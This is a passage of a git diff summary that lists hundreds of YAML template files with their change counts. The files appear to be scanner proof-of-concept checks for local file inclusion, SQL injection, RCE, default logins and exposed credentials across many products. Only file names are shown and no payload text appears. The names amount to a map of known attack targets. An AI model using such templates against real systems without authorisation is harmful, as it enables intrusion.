tugboat-config-exposure-10843.yaml} | 0 poc/exposed/tugboat-config-exposure.yaml | 28 - .../unigui-server-monitor-exposure.yaml | 36 + ...tchguard-credentials-disclosure-11105.yaml | 27 + ...=> watchguard-credentials-disclosure.yaml} | 0 ...press-wpcourses-info-disclosure-11369.yaml | 6 +- ...press-wpcourses-info-disclosure-11371.yaml | 36 - .../wordpress-wpcourses-info-disclosure.yaml | 7 +- poc/exposed/wp-full-path-disclosure.yaml | 15 +- ...l => wp-mailchimp-log-exposure-11494.yaml} | 0 poc/exposed/wp-mailchimp-log-exposure.yaml | 23 - poc/exposed/yarn-manager-exposure-11731.yaml | 17 - poc/exposed/yarn-manager-exposure-11733.yaml | 17 + poc/exposed/zipkin-exposure-11822.yaml | 2 +- poc/exposed/zipkin-exposure.yaml | 22 +- poc/extract/extract-urls.yaml | 6 + poc/favicon/favicon-detection-7441.yaml | 2026 - poc/favicon/favicon-detection-7443.yaml | 615 +- poc/favicon/favicon-detection-7444.yaml | 2562 - poc/favicon/favicon-detection-7446.yaml | 2034 + poc/favicon/favicon-detection.yaml | 530 +- poc/favicon/site-favicon.yaml | 59 + poc/ftp/aws-sftp-detect.yaml | 34 + poc/ftp/crush-ftp-detect-1271.yaml | 40 +- poc/ftp/crush-ftp-detect-1272.yaml | 21 - poc/ftp/crush-ftp-detect.yaml | 40 +- poc/ftp/crush-ftp-login-1273.yaml | 21 +- poc/ftp/crush-ftp-login-1275.yaml | 23 + poc/ftp/crush-ftp-login.yaml | 16 +- poc/ftp/crushftp-anonymous-login.yaml | 50 + poc/ftp/dionaea-ftp-honeypot-detect.yaml | 32 + poc/ftp/ftp-weak-credentials-7569.yaml | 35 + poc/ftp/ftp-weak-credentials.yaml | 17 +- poc/ftp/ftpconfig-7566.yaml | 32 - poc/ftp/ftpconfig.yaml | 25 + poc/ftp/gnu-inetutils-ftpd-detect.yaml | 30 + poc/ftp/microsoft-ftp-service.yaml | 27 + poc/ftp/mikrotik-ftp-server-detect.yaml | 32 + poc/ftp/moveit-sftp-detect.yaml | 31 + poc/ftp/proftpd-backdoor.yaml | 48 + poc/ftp/proftpd-server-detect.yaml | 31 + ... => solarwinds-servuftp-detect-10362.yaml} | 0 poc/ftp/solarwinds-servuftp-detect.yaml | 18 +- poc/ftp/tftp-detect.yaml | 34 + poc/ftp/unauth-ftp-10939.yaml | 18 + poc/ftp/unauth-ftp-10940.yaml | 19 - poc/ftp/web-ftp-detect-11136.yaml | 28 - poc/ftp/web-ftp-detect-11138.yaml | 5 +- poc/ftp/wing-ftp-detect.yaml | 27 + poc/ftp/wordpress-updraftplus-pem-key.yaml | 12 +- poc/ftp/xlight-ftp-service-detect.yaml | 33 + poc/fuzz/adminer-panel-fuzz-72.yaml | 12 +- poc/fuzz/adminer-panel-fuzz-73.yaml | 46 + poc/fuzz/adminer-panel-fuzz.yaml | 8 - poc/fuzz/{fuzz-mode.yaml => fuzz-query.yaml} | 0 poc/fuzz/lfi-linux-fuzz.yaml | 78 - poc/fuzz/linux-lfi-fuzz.yaml | 30 +- poc/gcloud/gcp-service-account-11851.yaml | 16 + poc/gcloud/gcp-service-account.yaml | 7 +- poc/git/api-gitlab-430.yaml | 30 - poc/git/api-gitlab-431.yaml | 25 - .../axiom-digitalocean-key-exposure-666.yaml | 41 + .../axiom-digitalocean-key-exposure-667.yaml | 18 +- .../axiom-digitalocean-key-exposure-668.yaml | 9 +- poc/git/digital-watchdog-default-login.yaml | 44 + poc/git/digital-watchdog-panel.yaml | 28 + poc/git/digitalrebar-traversal-6997.yaml | 16 +- poc/git/digitalrebar-traversal.yaml | 33 + poc/git/exposed-gitignore-7305.yaml | 3 +- poc/git/git-config-7633.yaml | 20 +- poc/git/git-config-7635.yaml | 14 - poc/git/git-config-nginxoffbyslash-7629.yaml | 28 + poc/git/git-config-nginxoffbyslash-7630.yaml | 14 +- poc/git/git-credentials-7644.yaml | 2 +- poc/git/git-credentials-disclosure-7641.yaml | 41 + poc/git/git-web-interface.yaml | 11 +- poc/git/gitbook-detect-7624.yaml | 31 +- poc/git/gitbook-detect.yaml | 20 - poc/git/gitbook-takeover.yaml | 16 +- poc/git/github-enterprise-detect-7649.yaml | 17 +- poc/git/github-enterprise-detect-7650.yaml | 19 +- poc/git/github-gemfile-files-7652.yaml | 10 +- poc/git/github-gemfile-files-7653.yaml | 10 +- poc/git/github-page-config-7654.yaml | 30 + poc/git/github-personal-token.yaml | 7 +- poc/git/github-takeover-7659.yaml | 29 + poc/git/github-takeover-7661.yaml | 12 +- poc/git/github-takeover-7663.yaml | 24 - poc/git/github-workflows-disclosure-7664.yaml | 44 + poc/git/github-workflows-disclosure-7666.yaml | 51 - poc/git/gitlab-detect-7672.yaml | 6 + ...678.yaml => gitlab-public-repos-7675.yaml} | 0 poc/git/gitlab-public-repos-7679.yaml | 2 +- poc/git/gitlab-public-signup-7683.yaml | 34 + poc/git/gitlab-public-signup-7684.yaml | 10 +- poc/git/gitlab-public-snippets-7685.yaml | 20 +- poc/git/gitlab-public-snippets-7690.yaml | 35 - poc/git/gitlab-rce-7693.yaml | 16 +- poc/git/gitlab-rce.yaml | 56 - poc/git/gitlab-user-enumeration-7697.yaml | 38 - poc/git/gitlab-user-enumeration.yaml | 51 +- ...login.yaml => gitlab-weak-login-7704.yaml} | 0 poc/git/gitlab-weak-login-7706.yaml | 20 +- poc/google/google-api(1).yaml | 16 - poc/google/google-api-7772.yaml | 13 + poc/google/google-api-key-7769.yaml | 23 + poc/google/google-bucket-service-7775.yaml | 20 +- poc/google/google-bucket-service.yaml | 21 - poc/google/google-cse.yaml | 59 + poc/google/google-earth-dlogin-7778.yaml | 19 +- poc/google/google-earth-dlogin.yaml | 42 - poc/google/google-floc-disabled-7783.yaml | 20 - poc/google/google-floc-disabled-7785.yaml | 21 + poc/google/google-floc-disabled-7786.yaml | 2 +- ...iews-a9b6955a2812b2fe0a13ae0f0752d58f.yaml | 59 + poc/google/google-storage-7788.yaml | 23 - poc/google/google-storage-7789.yaml | 3 +- poc/google/metadata-google-8819.yaml | 40 - poc/google/metadata-google.yaml | 40 + poc/graphite/graphite-browser-7824.yaml | 22 - poc/graphite/graphite-browser-7825.yaml | 27 + poc/graphite/graphite-browser.yaml | 12 +- poc/graphql/graphql-alias-batching-7826.yaml | 32 +- poc/graphql/graphql-alias-batching.yaml | 37 - poc/graphql/graphql-detect-7829.yaml | 68 + poc/graphql/graphql-detect-7832.yaml | 159 +- .../graphql-field-suggestion-7833.yaml | 10 +- poc/graphql/graphql-field-suggestion.yaml | 33 - poc/graphql/graphql-get-method-7835.yaml | 6 - poc/graphql/graphql-get-method-7836.yaml | 13 +- .../hasura-graphql-psql-exec-7899.yaml | 8 +- .../hasura-graphql-psql-exec-7902.yaml | 13 +- poc/header/display-via-header-7017.yaml | 20 - poc/header/header-command-injection-7917.yaml | 30 + poc/header/header-command-injection-7919.yaml | 9 +- poc/header/header_sqli.yaml | 67 - poc/header/host-header-injection-8000.yaml | 36 + poc/header/host-header-poisoning.yaml | 62 + ...ts-header.yaml => http-xframe-header.yaml} | 0 .../oob-header-based-interaction-9250.yaml | 44 + poc/header/oob-header-based-interaction.yaml | 43 - poc/header/sqli_header (copy 1).yaml | 25 + poc/header/sqli_header-10504.yaml | 23 + poc/header/sqli_header.yaml | 48 +- poc/http/apache-httpd-rce-362.yaml | 41 + poc/http/apache-httpd-rce.yaml | 13 +- poc/http/detect-dns-over-https-6969.yaml | 33 - poc/http/dionaea-http-honeypot-detect.yaml | 40 + ...cd-unauthenticated-api-data-leak-8056.yaml | 2 + .../{http-raw-multiple.yaml => http-raw.yaml} | 0 .../http-value-share-template-2.yaml} | 0 ...ts-header.yaml => http-xframe-header.yaml} | 0 poc/http/httpbin-open-redirect-8048.yaml | 14 +- poc/http/httpbin-open-redirect-8049.yaml | 28 + poc/http/httpbin-panel-8050.yaml | 25 + poc/http/httpbin-panel-8051.yaml | 26 - poc/http/httpbin-panel.yaml | 12 +- poc/http/httpbin-xss-8053.yaml | 39 +- poc/http/ibm-http-server-8095.yaml | 9 +- poc/http/ibm-http-server-8097.yaml | 8 +- poc/http/lighttpd-default.yaml | 13 +- poc/http/oracle-httpserver12c.yaml | 9 +- poc/http/springboot-httptrace-10469.yaml | 8 +- .../ibm-advanced-system-management-8090.yaml | 24 - .../ibm-advanced-system-management-8091.yaml | 24 + poc/ibm/ibm-advanced-system-management.yaml | 12 +- poc/ibm/ibm-d2b-database-server.yaml | 43 + poc/ibm/ibm-http-server-8095.yaml | 9 +- poc/ibm/ibm-http-server-8097.yaml | 8 +- poc/ibm/ibm-infoprint-lfi-8101.yaml | 5 +- poc/ibm/ibm-infoprint-lfi-8103.yaml | 20 +- poc/ibm/ibm-mqseries-default-login-8107.yaml | 46 + poc/ibm/ibm-mqseries-default-login.yaml | 39 - ...gin-8111.yaml => ibm-note-login-8110.yaml} | 0 poc/ibm/ibm-security-access-manager-8115.yaml | 34 + poc/ibm/ibm-security-access-manager.yaml | 8 +- poc/ibm/ibm-service-assistant-8118.yaml | 8 +- poc/ibm/ibm-service-assistant.yaml | 20 +- .../ibm-storage-default-credential-8123.yaml | 12 +- .../ibm-storage-default-credential-8124.yaml | 3 +- poc/ibm/ibm-websphere-ssrf-8126.yaml | 29 - poc/ibm/ibm-websphere-ssrf.yaml | 10 +- poc/injection/GLPI-9.3.3-SQL-Injection.yaml | 19 +- poc/injection/SQLInjection_ERROR.yaml | 90 +- .../buffalo-config-injection-798.yaml | 30 + .../buffalo-config-injection-801.yaml | 39 - poc/injection/crlf-injection-1260.yaml | 27 + poc/injection/crlf-injection-1265.yaml | 22 - .../duomicms-sql-injection-7122.yaml | 21 - .../duomicms-sql-injection-7125.yaml | 14 +- poc/injection/duomicms-sql-injection.yaml | 22 - poc/injection/glpi-9.3.3-sql-injection.yaml | 25 + .../header-command-injection-7917.yaml | 30 + .../header-command-injection-7919.yaml | 9 +- poc/injection/host-header-injection-8000.yaml | 36 + .../simple-crm-sql-injection-10277.yaml | 12 +- poc/injection/simple-crm-sql-injection.yaml | 34 + poc/injection/sql-injection.yaml | 94 +- .../viewlinc-crlf-injection-11012.yaml | 16 +- poc/injection/weiphp-sql-injection-11190.yaml | 11 +- poc/java/Springboot-Heapdump.yaml | 34 - poc/java/apache-tomcat-CVE-2022-34305.yaml | 21 + poc/java/apache-tomcat-cve-2022-34305.yaml | 2 - poc/java/apache-tomcat-snoop-374.yaml | 24 + poc/java/apache-tomcat-snoop-375.yaml | 24 - poc/java/apache-tomcat-snoop.yaml | 4 +- .../default-glassfish-server-page-6854.yaml | 20 + poc/java/default-glassfish-server-page.yaml | 8 +- poc/java/default-jetty-page-6862.yaml | 18 + poc/java/default-jetty-page-6863.yaml | 3 +- poc/java/default-jetty-page.yaml | 17 + poc/java/default-tomcat-page-6910.yaml | 28 + poc/java/default-tomcat-page-6911.yaml | 18 - poc/java/default-tomcat-page.yaml | 18 +- ...ngframework-directory-traversal-7174.yaml} | 0 ...y-springframework-directory-traversal.yaml | 21 + poc/java/exposed-alps-spring-7283.yaml | 29 + poc/java/exposed-alps-spring.yaml | 13 +- poc/java/exposed-springboot.yaml | 51 - poc/java/ibm-websphere-ssrf-8126.yaml | 29 - poc/java/ibm-websphere-ssrf.yaml | 10 +- poc/java/java-melody-exposed-8221.yaml | 2 +- ...sed.yaml => java-melody-exposed-8222.yaml} | 0 poc/java/java-melody-xss-8225.yaml | 16 +- poc/java/java-melody-xss.yaml | 26 + poc/java/java-rmi-detect-8227.yaml | 17 - poc/java/java-rmi-detect-8228.yaml | 6 +- poc/java/java-rmi-detect.yaml | 28 + poc/java/javascript-env-8231.yaml | 55 - poc/java/javascript-env.yaml | 52 + poc/java/jboss-detect-8237.yaml | 34 + poc/java/jboss-detect.yaml | 22 - poc/java/jboss-status-8241.yaml | 24 - poc/java/jboss-status.yaml | 22 - poc/java/jboss-web-console.yaml | 44 +- poc/java/jetty-showcontexts-enable-8295.yaml | 20 - poc/java/jetty-showcontexts-enable-8298.yaml | 23 - poc/java/jetty-showcontexts-enable.yaml | 16 +- poc/java/jinfornet-jreport-lfi-8309.yaml | 28 + ...i-8307.yaml => jinfornet-jreport-lfi.yaml} | 0 poc/java/public-tomcat-manager-9710.yaml | 13 +- poc/java/shiro-detect-10195.yaml | 11 +- poc/java/shiro-detect-10196.yaml | 19 - .../spring-framework-exceptions-10493.yaml | 28 + poc/java/spring-framework-exceptions.yaml | 24 - poc/java/spring-functions-rce.yaml | 55 + poc/java/springForShell-CVE-2022-22965.yaml | 59 + poc/java/spring_collection.yaml | 97 +- poc/java/springboot-actuator-10434.yaml | 20 +- poc/java/springboot-actuator-10435.yaml | 11 +- ...pringboot-actuators-jolokia-xxe-10430.yaml | 28 - ...pringboot-actuators-jolokia-xxe-10431.yaml | 18 +- poc/java/springboot-autoconfig-10436.yaml | 34 - poc/java/springboot-configprops-10442.yaml | 31 + poc/java/springboot-configprops-10444.yaml | 33 - poc/java/springboot-configprops-10445.yaml | 6 +- poc/java/springboot-env-10449.yaml | 9 +- poc/java/springboot-gateway-10452.yaml | 3 +- poc/java/springboot-h2-db-rce-10454.yaml | 37 + poc/java/springboot-h2-db-rce-10458.yaml | 37 - poc/java/springboot-health-10459.yaml | 1 - poc/java/springboot-health-10460.yaml | 38 - poc/java/springboot-httptrace-10469.yaml | 8 +- poc/java/springboot-info-10470.yaml | 22 +- poc/java/springboot-info-10471.yaml | 31 +- poc/java/springboot-log4j-rce-10473.yaml | 21 +- poc/java/springboot-log4j-rce.yaml | 41 + ...476.yaml => springboot-loggers-10475.yaml} | 0 poc/java/springboot-mappings-10478.yaml | 9 +- ...79.yaml => springboot-mappings-10480.yaml} | 0 poc/java/springboot-metrics-10482.yaml | 13 +- poc/java/springboot-threaddump.yaml | 5 +- poc/java/springboot-trace-10490.yaml | 15 +- poc/java/springboot_heapdump.yaml | 42 +- poc/java/struts-debug-mode-10560.yaml | 16 + poc/java/struts-debug-mode-10561.yaml | 16 - poc/java/struts-debug-mode.yaml | 11 +- poc/java/struts-problem-report-10563.yaml | 20 + poc/java/struts-problem-report-10564.yaml | 19 - poc/java/struts-problem-report.yaml | 3 +- poc/java/tomcat-default-login-10788.yaml | 20 +- poc/java/tomcat-default-login-10791.yaml | 23 +- ...omcat-manager-pathnormalization-10797.yaml | 24 + poc/java/tomcat-scripts-10803.yaml | 16 - ...rkflow.yaml => tomcat-workflow-10805.yaml} | 0 poc/java/weblogic-detect-11143.yaml | 29 + poc/java/weblogic-detect-11144.yaml | 2 +- poc/java/weblogic-iiop-detect-11148.yaml | 4 - poc/java/weblogic-iiop-detect.yaml | 15 +- poc/java/weblogic-login.yaml | 19 +- ...151.yaml => weblogic-t3-detect-11153.yaml} | 0 poc/java/weblogic-t3-detect.yaml | 62 +- ...webview-addjavascript-interface-11176.yaml | 6 +- poc/java/wildfly-panel-11211.yaml | 6 +- .../aem-querybuilder-json-servlet-182.yaml | 42 - .../aem-querybuilder-json-servlet-186.yaml | 47 - poc/javascript/bower-json-769.yaml | 39 + poc/javascript/bower-json-770.yaml | 2 +- .../drupal-jsonapi-user-listing.yaml | 40 + poc/javascript/fastjson-1-2-24-rce-7400.yaml | 21 +- poc/javascript/fastjson-1-2-24-rce.yaml | 46 + poc/javascript/fastjson-1-2-41-rce-7404.yaml | 17 +- poc/javascript/fastjson-1-2-42-rce-7407.yaml | 35 - poc/javascript/fastjson-1-2-42-rce.yaml | 31 - poc/javascript/fastjson-1-2-47-rce-7416.yaml | 9 +- poc/javascript/fastjson-1-2-47-rce.yaml | 40 + poc/javascript/fastjson-1-2-62-rce-7419.yaml | 17 +- poc/javascript/fastjson-1-2-62-rce.yaml | 30 - poc/javascript/fastjson-1-2-68-rce-7425.yaml | 55 - poc/javascript/fastjson-1-2-68-rce.yaml | 19 +- poc/javascript/fastjson-version-7427.yaml | 8 +- poc/javascript/fastjson-version.yaml | 26 - poc/javascript/hjsoft-eHR-system-sqli.yaml | 41 + .../hjsoft-servlet-DisplayFiles-fileread.yaml | 23 + poc/javascript/javascript-env-8231.yaml | 55 - poc/javascript/javascript-env.yaml | 52 + poc/javascript/keycloak-json-8472.yaml | 21 + poc/javascript/keycloak-json-8473.yaml | 21 - poc/javascript/kiwitcms-json-rpc.yaml | 44 + poc/javascript/log4jshell-detect.yaml | 5 - poc/javascript/log4jshell.yaml | 36 + poc/javascript/package-json-9423.yaml | 2 +- poc/javascript/tikiwiki-json-rpc.yaml | 12 +- ...webview-addjavascript-interface-11176.yaml | 6 +- .../yonyou-nc-cloud-jsinvoke-rce.yaml | 37 +- poc/jenkins/jenkins-asyncpeople-8266.yaml | 4 +- poc/jenkins/jenkins-asyncpeople-8267.yaml | 6 + poc/jenkins/jenkins-asyncpeople-8268.yaml | 22 + poc/jenkins/jenkins-default-8272.yaml | 38 - poc/jenkins/jenkins-default-login.yaml | 85 +- poc/jenkins/jenkins-detect.yaml | 46 +- poc/jenkins/jenkins-login-8277.yaml | 27 - poc/jenkins/jenkins-login-detection.yaml | 30 + poc/jenkins/jenkins-login.yaml | 62 +- poc/jenkins/jenkins-script-8283.yaml | 5 +- poc/jenkins/jenkins-script-8284.yaml | 21 +- ...file.yaml => joomla-config-dist-file.yaml} | 0 poc/joomla/joomla-config-file-8376.yaml | 31 - poc/joomla/joomla-config-file-8377.yaml | 2 +- poc/joomla/joomla-file-listing-8380.yaml | 18 +- poc/joomla/joomla-htaccess-8383.yaml | 4 +- poc/joomla/joomla-htaccess-8384.yaml | 10 +- poc/joomla/joomla-manifest-file-8385.yaml | 17 +- poc/joomla/joomla-manifest-file-8388.yaml | 14 +- poc/joomla/joomla-panel-8391.yaml | 18 + poc/joomla/joomla-panel.yaml | 6 +- poc/joomla/joomla-workflow-8395.yaml | 13 + ...orkflow-8393.yaml => joomla-workflow.yaml} | 0 poc/joomla/rusty-joomla-9955.yaml | 24 +- poc/joomla/rusty-joomla.yaml | 38 - .../kafka-center-default-login-8415.yaml | 48 + .../kafka-center-default-login-8416.yaml | 7 +- poc/kafka/kafka-center-login-8418.yaml | 18 - poc/kafka/kafka-center-login-8419.yaml | 18 + poc/kafka/kafka-consumer-monitor-8424.yaml | 18 + poc/kafka/kafka-consumer-monitor-8425.yaml | 21 - poc/kafka/kafka-consumer-monitor.yaml | 21 +- poc/kafka/kafka-cruise-control-8427.yaml | 5 +- poc/kafka/kafka-cruise-control.yaml | 10 +- poc/kafka/kafka-monitoring-8428.yaml | 2 +- poc/kafka/kafka-monitoring-8430.yaml | 4 +- poc/kafka/kafka-topics-list.yaml | 48 + poc/kafka/kafka-topics-ui-8432.yaml | 4 +- poc/kong/kong-detect-8499.yaml | 21 - poc/kong/kong-detect-8500.yaml | 20 +- poc/kong/kong-detect-8501.yaml | 8 +- poc/laravel/laravel-debug-enabled-8577.yaml | 5 +- poc/laravel/laravel-debug-enabled.yaml | 22 - poc/laravel/laravel-env-8580.yaml | 43 +- poc/laravel/laravel-env-8585.yaml | 41 +- poc/laravel/laravel-filemanager-8591.yaml | 3 +- poc/laravel/laravel-filemanager-lfi-8587.yaml | 28 - poc/laravel/laravel-filemanager-lfi-8588.yaml | 4 + poc/laravel/laravel-filemanager.yaml | 22 +- poc/laravel/laravel-ignition-xss-8592.yaml | 13 +- poc/laravel/laravel-ignition-xss.yaml | 30 + poc/laravel/laravel-telescope-8600.yaml | 5 +- poc/laravel/laravel-telescope-8601.yaml | 22 - poc/local_file_inclusion/WP-Vault-LFI.yaml | 16 +- ...yaml => accent-microcomputers-lfi-14.yaml} | 0 .../accent-microcomputers-lfi-16.yaml | 33 - .../ad-widget-lfi-124.yaml | 36 - poc/local_file_inclusion/ad-widget-lfi.yaml | 33 + .../advanced-access-manager-lfi-118.yaml | 25 + ....yaml => advanced-access-manager-lfi.yaml} | 0 .../asanhamayesh-lfi-552.yaml | 34 + .../asanhamayesh-lfi.yaml | 32 - .../bullwark-momentum-lfi-808.yaml | 2 +- poc/local_file_inclusion/cherry-lfi-902.yaml | 16 +- .../{cherry-lfi-903.yaml => cherry-lfi.yaml} | 0 .../church-admin-lfi-912.yaml | 10 +- .../church-admin-lfi.yaml | 27 - ...rchope-lfi.yaml => churchope-lfi-915.yaml} | 0 .../churchope-lfi-916.yaml | 32 - .../cs-cart-unauthenticated-lfi-1282.yaml | 33 + .../cs-cart-unauthenticated-lfi.yaml | 20 - .../db-backup-lfi-6775.yaml | 30 - .../diarise-theme-lfi-6992.yaml | 14 +- .../diarise-theme-lfi.yaml | 22 - .../dicoogle-pacs-lfi-6993.yaml | 21 - .../dicoogle-pacs-lfi-6995.yaml | 21 +- .../dicoogle-pacs-lfi.yaml | 22 - poc/local_file_inclusion/eibiz-lfi-7186.yaml | 11 +- .../elfinder-detect-7202.yaml | 15 +- poc/local_file_inclusion/elfinder-detect.yaml | 21 - .../elfinder-path-traversal-7203.yaml | 11 +- .../elfinder-version-7205.yaml | 19 +- .../elfinder-version.yaml | 31 + .../generic-linux-lfi-7589.yaml | 45 + .../generic-windows-lfi-7590.yaml | 29 + .../generic-windows-lfi-7591.yaml | 13 +- .../generic-windows-lfi.yaml | 34 +- .../geovision-geowebserver-lfi-7597.yaml | 15 +- .../geovision-geowebserver-lfi.yaml | 25 + .../global-domains-lfi-7716.yaml | 32 + .../global-domains-lfi.yaml | 21 + poc/local_file_inclusion/goip-1-lfi-7761.yaml | 26 + poc/local_file_inclusion/goip-1-lfi.yaml | 20 - .../groupoffice-lfi-7849.yaml | 34 + .../groupoffice-lfi-7850.yaml | 6 +- poc/local_file_inclusion/gsoap-lfi-7856.yaml | 22 +- .../hb-audio-lfi-7911.yaml | 19 +- .../hb-audio-lfi-7912.yaml | 16 +- .../health-check-lfi-7921.yaml | 17 +- .../health-check-lfi.yaml | 40 - .../hide-security-enhancer-lfi.yaml | 14 +- .../hrsale-unauthenticated-lfi-8039.yaml | 13 +- .../hrsale-unauthenticated-lfi-8040.yaml | 15 +- .../huawei-hg255s-lfi-8059.yaml | 35 + .../huawei-hg255s-lfi.yaml | 23 - .../huawei-hg659-lfi-8067.yaml | 34 - .../huawei-hg659-lfi-8070.yaml | 16 +- .../ibm-infoprint-lfi-8101.yaml | 5 +- .../ibm-infoprint-lfi-8103.yaml | 20 +- .../issuu-panel-lfi-8200.yaml | 10 +- poc/local_file_inclusion/jeewms-lfi-8255.yaml | 8 +- poc/local_file_inclusion/jeewms-lfi.yaml | 28 + .../jinfornet-jreport-lfi-8309.yaml | 28 + ...i-8307.yaml => jinfornet-jreport-lfi.yaml} | 0 .../jolokia-unauthenticated-lfi-8366.yaml | 13 +- .../karel-ip-phone-lfi.yaml | 10 +- .../kyocera-m2035dn-lfi-8557.yaml | 16 +- .../kyocera-m2035dn-lfi-8558.yaml | 8 +- .../laravel-filemanager-lfi-8587.yaml | 28 - .../laravel-filemanager-lfi-8588.yaml | 4 + poc/local_file_inclusion/lfi-linux-fuzz.yaml | 78 - poc/local_file_inclusion/linux-lfi-fuzz.yaml | 30 +- .../magicflow-lfi-8710.yaml | 18 +- poc/local_file_inclusion/magicflow-lfi.yaml | 21 + .../metinfo-lfi-8840.yaml | 16 +- poc/local_file_inclusion/metinfo-lfi.yaml | 33 - .../minimouse-lfi-8877.yaml | 12 +- poc/local_file_inclusion/minimouse-lfi.yaml | 31 - .../moodle-filter-jmol-lfi-8938.yaml | 24 +- poc/local_file_inclusion/mpsec-lfi-8954.yaml | 7 +- poc/local_file_inclusion/mpsec-lfi-8957.yaml | 28 - .../mthemeunus-lfi-8970.yaml | 14 +- .../mthemeunus-lfi-8971.yaml | 37 - .../oliver-library-lfi-9241.yaml | 13 +- .../oliver-library-lfi.yaml | 22 + .../opencti-lfi-9267.yaml | 25 +- .../opencti-lfi-9268.yaml | 15 +- .../opensis-lfi-9316.yaml | 13 +- .../pacsone-server-lfi-9428.yaml | 33 + .../pacsone-server-lfi-9429.yaml | 12 +- .../phpwiki-lfi-9566.yaml | 26 - .../phpwiki-lfi-9568.yaml | 16 +- .../processmaker-lfi-9659.yaml | 15 +- .../processmaker-lfi.yaml | 29 + .../qihang-media-lfi-9769.yaml | 44 - .../qihang-media-lfi.yaml | 37 + .../ruijie-networks-lfi-9942.yaml | 12 +- .../ruijie-networks-lfi.yaml | 34 + .../samsung-wlan-ap-lfi-10002.yaml | 8 +- .../samsung-wlan-ap-lfi-9999.yaml | 25 - .../shortcode-lfi-10214.yaml | 10 +- .../simple-image-manipulator-lfi-10281.yaml | 20 - .../simple-image-manipulator-lfi-10282.yaml | 25 + .../simple-image-manipulator-lfi.yaml | 4 - .../sl-studio-lfi-10319.yaml | 14 +- .../sl-studio-lfi-10321.yaml | 16 +- .../sniplets-lfi-10341.yaml | 22 + .../sniplets-lfi-10342.yaml | 7 +- poc/local_file_inclusion/sniplets-lfi.yaml | 22 +- .../sofneta-mecdream-pacs-lfi-10351.yaml | 12 +- .../squirrelmail-lfi-10517.yaml | 21 + .../squirrelmail-lfi.yaml | 3 +- .../surrealtodo-lfi-10580.yaml | 7 +- poc/local_file_inclusion/surrealtodo-lfi.yaml | 30 + ...a-lfi.yaml => targa-camera-lfi-10653.yaml} | 0 .../targa-camera-lfi-10654.yaml | 10 +- .../thinkcmf-lfi (copy 1).yaml | 29 + .../thinkcmf-lfi-10722.yaml | 20 +- .../thinkcmf-lfi-10724.yaml | 24 - .../video-synchro-pdf-lfi-11006.yaml | 9 +- .../video-synchro-pdf-lfi-11007.yaml | 25 + .../video-synchro-pdf-lfi.yaml | 4 - .../vmware-vcenter-lfi-linux-11044.yaml | 14 - .../vmware-vcenter-lfi-linux-11045.yaml | 26 +- poc/local_file_inclusion/wordpress-LFI.yaml | 6 +- poc/local_file_inclusion/wordpress-lfi.yaml | 21 + .../wordpress-wordfence-lfi-11349.yaml | 28 - .../wordpress-wordfence-lfi-11350.yaml | 21 +- ...p-memphis-documents-library-lfi-11495.yaml | 26 + ...p-memphis-documents-library-lfi-11498.yaml | 16 +- .../wp-oxygen-theme-lfi-11519.yaml | 14 +- .../wp-oxygen-theme-lfi-11523.yaml | 13 +- .../wp-socialfit-xss-11581.yaml | 2 +- .../wp-spot-premium-lfi-11584.yaml | 9 +- .../wp-spot-premium-lfi.yaml | 28 - .../wp-tinymce-lfi-11589.yaml | 31 - .../wp-tinymce-lfi-11591.yaml | 25 + poc/local_file_inclusion/wp-tinymce-lfi.yaml | 10 +- .../wp-tutor-lfi-11596.yaml | 16 + .../wp-tutor-lfi-11599.yaml | 14 +- .../wp-tutor-lfi-11600.yaml | 15 +- .../wp-vault-lfi-11610.yaml | 4 +- .../yishaadmin-lfi-11743.yaml | 23 - .../yishaadmin-lfi-11744.yaml | 20 +- ...i.yaml => magento-2-exposed-api-8687.yaml} | 0 poc/magento/magento-2-exposed-api-8688.yaml | 45 - poc/magento/magento-admin-panel-8690.yaml | 21 + poc/magento/magento-admin-panel-8694.yaml | 2 +- poc/magento/magento-admin-panel.yaml | 18 +- poc/magento/magento-config-8703.yaml | 31 + poc/magento/magento-config-disclosure.yaml | 50 + poc/magento/magento-detect-8704.yaml | 28 - poc/magento/magento-detect-8707.yaml | 30 + poc/microsoft/74cms-sqli-8.yaml | 39 +- poc/microsoft/74cms-sqli-9.yaml | 31 - poc/microsoft/74cms-sqli.yaml | 30 + .../aims-password-mgmt-client-218.yaml | 12 +- .../aims-password-mgmt-client-221.yaml | 17 - poc/microsoft/aims-password-portal-224.yaml | 22 - poc/microsoft/api-buttercms-403.yaml | 12 +- poc/microsoft/buttercms.yaml | 25 +- poc/microsoft/call-break-cms.yaml | 45 +- ...qli-892.yaml => chamilo-lms-sqli-891.yaml} | 0 poc/microsoft/chamilo-lms-sqli.yaml | 26 + poc/microsoft/cisco-systems-login-973.yaml | 25 - poc/microsoft/cisco-systems-login-975.yaml | 32 + ...detect.yaml => craft-cms-detect-1247.yaml} | 0 poc/microsoft/craft-cms-detect-1248.yaml | 8 +- poc/microsoft/craftcms-admin-panel.yaml | 25 +- poc/microsoft/craftercms-detect.yaml | 36 + poc/microsoft/craftercms-panel.yaml | 35 + poc/microsoft/cw-alarms-actions.yaml | 56 + .../dahua-wpms-addimgico-fileupload.yaml | 78 +- ...dedecms-carbuyaction-fileinclude-6792.yaml | 29 + .../dedecms-carbuyaction-fileinclude.yaml | 24 - .../dedecms-membergroup-sqli-6798.yaml | 30 - .../dedecms-membergroup-sqli-6799.yaml | 27 +- poc/microsoft/dedecms-openredirect-6800.yaml | 36 + poc/microsoft/dedecms-openredirect-6802.yaml | 6 +- .../default-microsoft-azure-page-6873.yaml | 5 +- .../default-microsoft-azure-page-6874.yaml | 6 +- poc/microsoft/dotcms-admin-panel-7085.yaml | 18 + poc/microsoft/dotcms-admin-panel-7087.yaml | 18 - .../duomicms-sql-injection-7122.yaml | 21 - .../duomicms-sql-injection-7125.yaml | 14 +- poc/microsoft/duomicms-sql-injection.yaml | 22 - .../dzs-zoomsounds-listing-7147.yaml | 1 + .../dzs-zoomsounds-listing-7148.yaml | 25 - .../dzs-zoomsounds-listing-7149.yaml | 4 +- poc/microsoft/empirecms-xss-7218.yaml | 23 +- poc/microsoft/empirecms-xss-7220.yaml | 17 +- poc/microsoft/ems-login-panel-7223.yaml | 6 +- poc/microsoft/ems-login-panel-7225.yaml | 22 + poc/microsoft/eyoucms-installer.yaml | 33 + poc/microsoft/feifeicms-lfr-7463.yaml | 10 +- poc/microsoft/finecms-sqli-7475.yaml | 15 +- poc/microsoft/finecms-sqli.yaml | 20 - poc/microsoft/getsimple-cms-detect-7615.yaml | 9 +- poc/microsoft/getsimple-cms-detect.yaml | 24 + poc/microsoft/grav-cms-detect-7842.yaml | 3 +- poc/microsoft/grav-cms-detect-7843.yaml | 27 - 